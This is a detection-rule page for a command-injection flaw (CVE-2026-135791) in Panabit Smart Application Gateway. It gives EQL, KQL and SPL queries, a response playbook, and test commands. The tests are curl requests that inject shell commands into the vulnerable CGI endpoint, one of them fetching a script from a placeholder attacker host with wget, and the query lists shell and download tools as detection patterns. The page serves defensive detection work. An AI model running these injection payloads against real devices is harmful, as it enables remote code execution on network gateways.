Skip to content
CVE-2026-135791 Elastic Security · Elastic

Detect Panabit Smart Application Gateway edit_data_pie OS Command Injection (CVE-2026-135791) in Elastic Security

Detects exploitation attempts against CVE-2026-135791, an OS command injection flaw (CWE-77, CWE-78, CVSS 8.6) in the edit_data_pie function of /cgi-bin/flowcontrol/ajax_data_pie in Panabit Smart Application Gateway TANGr7p10. An attacker who can reach the flow-control CGI endpoint can inject shell metacharacters into the name argument processed by edit_data_pie, achieving remote code execution on the appliance. The detection surfaces anomalous requests to the vulnerable CGI path carrying command-injection payloads, and CGI-process child shell spawns indicative of successful RCE. A public proof-of-concept exploit has been published. Tune for your appliance's normal management traffic.

Based on nenghun IoT Panabit RCE2 write-up

MITRE ATT&CK

Tactic
Initial Access Execution

Elastic Detection Query

Elastic Security (Elastic)
eql
// df00tech DF00-5ed94458f8 · https://df00tech.com/detections/CVE-2026-135791 · licence: https://df00tech.com/detections/licence
any where (
  (event.category == "web" and url.path : "*/cgi-bin/flowcontrol/aja*" and
   (url.query : ("*edit_data_pie*") and url.query : ("*;*","*|*","*&*","*`*","*$(*","*%3B*","*%7C*","*%60*","*%24*")))
  or
  (event.category == "process" and process.parent.name in ("httpd","nginx","lighttpd","cgi","aja") and
   process.name in ("sh","bash","dash","wget","curl","nc","ncat"))
)
critical severity medium confidence

Matches either command-injection HTTP requests to the flowcontrol CGI path or shell/download utilities spawned by the web/CGI parent process on the appliance.

Data Sources

Web Server LogsProcess Monitoring

Required Tables

logs-*endpoint.events.process-*

False Positives & Tuning

  • Appliance maintenance scripts spawned from the web process
  • Legitimate CGI handlers that shell out for routine tasks
  • Authorized scanning traffic

Other platforms for CVE-2026-135791


Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are further down this page.

  1. Test 1 Command injection probe against flowcontrol CGI (semicolon)

    Expected signal: Web/proxy log entry to /cgi-bin/flowcontrol/ajax_data_pie containing 'edit_data_pie' and a ';id' payload.

  2. Test 2 Command injection via backtick substitution

    Expected signal: Request log containing URL-encoded backtick (%60) and 'uname' in the flowcontrol CGI query.

  3. Test 3 Simulated RCE download stage

    Expected signal: Web log with a pipe metacharacter and 'wget' payload; on a lab appliance, a wget process spawned by the web/CGI parent.


Response Playbook

Triage

  1. Confirm the destination host is a Panabit Smart Application Gateway running the affected TANGr7p10 firmware and that /cgi-bin/flowcontrol/ajax_data_pie is reachable from the source network.
  2. URL-decode the captured query string and isolate the injected segment following edit_data_pie parameters; identify the exact shell metacharacter and command the attacker attempted to run.
  3. Determine whether the request returned a 200/success status or evidence of command output, distinguishing a probe from a successful execution.
  4. Check the source IP's broader activity for reconnaissance or repeated CGI requests indicating automated exploitation.

Containment

  1. Block the source IP(s) at the perimeter and restrict management-plane/CGI access to trusted admin networks only.
  2. If successful RCE is confirmed, isolate the appliance from untrusted networks and fail over to a redundant gateway where available.
  3. Apply vendor firmware updates or mitigations for CVE-2026-135791 once published; until then place the flowcontrol CGI behind authenticated reverse-proxy access controls.

Evidence Collection

  1. Preserve full web/proxy access logs, the raw decoded request payloads, and any WAF logs covering the source IP and the flowcontrol endpoint.
  2. Capture appliance process, shell history, and CGI/web server logs to identify spawned commands, dropped files, and outbound connections.

Escalation Criteria

  • !Escalate to incident response if a request to edit_data_pie with injection characters returned success or if a shell/download utility was spawned by the web/CGI process.
  • !Escalate if post-exploitation indicators appear (new accounts, persistence, outbound C2, lateral movement from the appliance).

Investigation Guide

Forensic Artifacts

  • >Web/CGI server access and error logs on the appliance showing edit_data_pie requests with metacharacters
  • >Shell command history and spawned-process records under the web server UID
  • >Newly created or modified files in web-writable and temp directories, and unexpected outbound connections from the gateway

Tuning Guidance

Baseline legitimate administrative traffic to /cgi-bin/flowcontrol/ajax_data_pie from management subnets and exclude those source IPs. Flow-policy names may legitimately contain '&' or spaces, so require co-occurrence of a metacharacter AND a command keyword (wget/curl/sh/chmod) to reduce noise. Promote to high confidence when a matching request is immediately followed by a shell/download process spawned under the web server parent.


Hunting Queries

Hunt for any requests to the flowcontrol CGI endpoint carrying shell metacharacters, grouped by source, to surface slow or distributed probing.

Hunting — KQL
kql
// df00tech DF00-5ed94458f8 · https://df00tech.com/detections/CVE-2026-135791 · licence: https://df00tech.com/detections/licence
W3CIISLog | where csUriStem has "/cgi-bin/flowcontrol/aja" | extend q=url_decode(csUriQuery) | where q has_any (";","|","`","$(") | summarize count() by cIP, bin(TimeGenerated,1h)
Hunting — SPL
spl
``` df00tech DF00-5ed94458f8 · https://df00tech.com/detections/CVE-2026-135791 · licence: https://df00tech.com/detections/licence ```
index=web uri_path="*/cgi-bin/flowcontrol/aja*" | eval q=urldecode(uri_query) | where match(q,"[;|`]|\$\(") | stats count by src_ip, uri_query

Atomic Red Team Tests

Test 1 Command injection probe against flowcontrol CGI (semicolon)
linux

Sends a request to the vulnerable endpoint with a semicolon-chained id command in an edit_data_pie parameter.

Command

bash
curl -s -G "http://TARGET/cgi-bin/flowcontrol/ajax_data_pie" --data-urlencode "action=edit_data_pie" --data-urlencode "name=test;id"

Cleanup

bash
echo 'no cleanup required - read-only probe'

Expected Telemetry

Web/proxy log entry to /cgi-bin/flowcontrol/ajax_data_pie containing 'edit_data_pie' and a ';id' payload.

Expected Detection

KQL/SPL web-log rules fire on the decoded query containing a metacharacter and the 'id' command keyword.

Test 2 Command injection via backtick substitution
linux

Attempts command substitution using backticks in an injected parameter.

Command

bash
curl -s -G "http://TARGET/cgi-bin/flowcontrol/ajax_data_pie" --data-urlencode "action=edit_data_pie" --data-urlencode "val=`uname -a`"

Cleanup

bash
echo 'no cleanup required - read-only probe'

Expected Telemetry

Request log containing URL-encoded backtick (%60) and 'uname' in the flowcontrol CGI query.

Expected Detection

Detection matches on %60/backtick metacharacter combined with a command keyword.

Test 3 Simulated RCE download stage
linux

Simulates a post-injection download stage by injecting a wget command; also exercises the process-spawn detection on a lab appliance.

Command

bash
curl -s -G "http://TARGET/cgi-bin/flowcontrol/ajax_data_pie" --data-urlencode "action=edit_data_pie" --data-urlencode "p=x|wget http://ATTACKER/s.sh -O /tmp/s.sh"

Cleanup

bash
rm -f /tmp/s.sh 2>/dev/null; echo done

Expected Telemetry

Web log with a pipe metacharacter and 'wget' payload; on a lab appliance, a wget process spawned by the web/CGI parent.

Expected Detection

Web-log rules match the '|wget' payload; EDR/CQL/EQL rules match wget spawned under httpd/nginx/cgi parent.

Related Detections